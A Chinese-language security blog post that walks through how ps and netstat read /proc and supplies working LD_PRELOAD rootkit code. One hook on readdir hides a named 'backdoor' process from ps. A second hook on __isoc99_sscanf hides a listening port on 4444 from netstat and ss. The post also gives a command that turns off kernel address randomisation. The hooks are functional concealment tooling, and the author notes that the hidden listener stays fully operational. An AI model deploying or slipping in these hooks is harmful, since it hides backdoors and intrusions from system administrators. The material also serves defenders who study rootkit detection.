暂无简介
进程隐藏
前两天逛github时, 看到了这个进程隐藏的项目,
感觉挺有意思的, 简单复现分析一下, 并写了个差不多的用来隐藏网络信息的
ps进程隐藏
准备
得到ps源码
git clone https://gitlab.com/procps-ng/procps.git
关闭内核的地址随机化
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
编译
./autogen.sh && ./configure CFLAGS="-ggdb" LDFLAGS="-ggdb" --prefix=$PWD ;make clean; make -j12 ;make install
ps逻辑的分析
大概思路为:
打开/proc
文件夹, 根据pid
遍历, 读取/proc/pid/status
, /proc/pid/stat
, /proc/pid/cmdline
调试
首先读取/proc/self/status
, 读取自己的一些信息
然后读取/proc/sys/kernel/pid_max
, 读取最大的pid
然后读取/proc/uptime
, 显示开机时间
然后readdir
读取PT
, 得到ent
结构体
这里可以在linux手册上看到该结构体信息
struct dirent {
ino_t d_ino; /* inode number */
off_t d_off; /* offset to the next dirent */
unsigned short d_reclen;/* length of this record */
unsigned char d_type; /* type of file; not supported
by all file system types */
char d_name[256]; /* filename */
};
这里只关心filename
, 看到这里filename
为4
然后紧接着把ent -> d_name
给p -> tgid
, 再用snprintf
拼接给path
得到读取proc信息的绝对路径
尝试打开/proc/4/stat
读取/proc/4/stat
, 这里用cat
读一下, 看一下内容是否相同,
相差不大, 说明是正确的, 内容也可能不会完全相同, 因为进程的信息是随时变化的
hook
链接, https://github.com/gianlucaborello/libprocesshider
这里使用LD_PRELOAD
,可以理解为覆盖原有的函数
其实他的思路就是hookreaddir
函数, 使得process_name
和我们的后门一样时, 跳过不读, 从而实现进程隐藏
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>
/*
* Every process with this name will be excluded
*/
static const char* process_to_filter = "ping";
/*
* Get a directory name given a DIR* handle
*/
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
int fd = dirfd(dirp);
if(fd == -1) {
return 0;
}
char tmp[64];
snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
ssize_t ret = readlink(tmp, buf, size);
if(ret == -1) {
return 0;
}
buf[ret] = 0;
return 1;
}
/*
* Get a process name given its pid
*/
static int get_process_name(char* pid, char* buf)
{
if(strspn(pid, "0123456789") != strlen(pid)) {
return 0;
}
char tmp[256];
snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
FILE* f = fopen(tmp, "r");
if(f == NULL) {
return 0;
}
if(fgets(tmp, sizeof(tmp), f) == NULL) {
fclose(f);
return 0;
}
fclose(f);
int unused;
sscanf(tmp, "%d (%[^)]s", &unused, buf);
return 1;
}
#define DECLARE_READDIR(dirent, readdir)\
static struct dirent* (*original_##readdir)(DIR*) = NULL; \
\
struct dirent* readdir(DIR *dirp) \
{ \
if(original_##readdir == NULL) {\
original_##readdir = dlsym(RTLD_NEXT, #readdir); \
if(original_##readdir == NULL) \
{ \
fprintf(stderr, "Error in dlsym: %s\n", dlerror()); \
} \
} \
\
struct dirent* dir; \
\
while(1)\
{ \
dir = original_##readdir(dirp); \
if(dir) { \
char dir_name[256]; \
char process_name[256]; \
if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&\
strcmp(dir_name, "/proc") == 0 && \
get_process_name(dir->d_name, process_name) && \
strcmp(process_name, process_to_filter) == 0) { \
continue; \
} \
} \
break; \
} \
return dir; \
}
DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);
测试效果
用ping命令当作后门, 测试ps
, 找不到进程
但有个缺点, 如果是监听的话, netstat
能看到, 只不过找不到进程和进程名而已
这里的原因其实是, ps
和netstat
原理的不同
ps
是读取/proc
下的进程信息并解析输出
而 netstat
只是去读取并解析 /proc/net/tcp
, (这是暂且只讨论tcp)
所以上文的hook不起作用
这里可以看到, 能看到有0.0.0.0:3333
的监听, 只不过是16进制
于是这里依照上面的原理再做一个netstat的隐藏
netstat进程隐藏
准备
git clone https://github.com/ecki/net-tools.git
添加调试信息并编译
./configure.sh CFLAGS="-ggdb" LDFLAGS="-ggdb" --prefix=$PWD ;make clean;make -j12;rm bin;mkdir bin; install -m 0755 netstat bin;
阅读源码与调试
源码不多, 大概思路如下
首先进入tcp_info
static int tcp_info(void)
{
INFO_GUTS6(_PATH_PROCNET_TCP, _PATH_PROCNET_TCP6, "AF INET (tcp)",
tcp_do_one, "tcp", "tcp6");
}
我们这里先不考虑tcp6
这里的_PATH_PROCNET_TCP
, 被lib/pathnames.h
定义为#define _PATH_PROCNET_TCP "/proc/net/tcp"
然后进入tcp_do_one
, 这里读取/proc/net/tcp
每一行的含义并解析
这里用sscanf
解析读到的/proc/net/tcp
中的一行的信息
这里添加逻辑测试, 如果端口为4444
则返回, 编译测试, 成功屏蔽了4444
端口, 且其他解析没问题
说明在这里添加逻辑是不影响程序正常运行的
hook
但是覆盖的函数不是sscanf
, 而是__isoc99_sscanf
, 具体在<stdio.h>
中有, 这也是ida反编译出来的scanf
名字不是scanf
的原因
extern int __isoc99_sscanf (const char *__restrict __s,
const char *__restrict __format, ...) __THROW;
# define fscanf __isoc99_fscanf
# define scanf __isoc99_scanf
# define sscanf __isoc99_sscanf
这里的逻辑为, 如果有监听0.0.0.0:4444
则返回12,
这里之所以返回12是因为上层函数有一个错误检测(见上图1095行, 由于我的vim是相对行号, 在1086下面9行为原本的1095行), if (num < 11)
输出错误提示, 所以返回12
#include <stdarg.h>
#include <stdio.h>
#include <string.h>
int __isoc99_sscanf(const char *str, const char *format, ...)
{
int ret;
va_list ap;
va_start(ap, format);
if(strstr(str, "00000000:115C 00000000:0000 0A"))
return 12;
ret = vsscanf(str, format, ap);
va_end(ap);
return ret;
}
hook后, 就可以用系统自带的netstat
来测试了
测试
ss|grep 4444
netsats -antup|grep 4444
这两者的结果都为空
由于检测不到进程监听4444端口, 甚至可以在此端口重复开进程
虽然ps
和netstat
都看不到, 但进程实际上是成功运行了的, 也拥有正常的功能
- 本文作者: happi0
- 本文来源: 先知社区
- 原文链接: https://xz.aliyun.com/t/11536
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!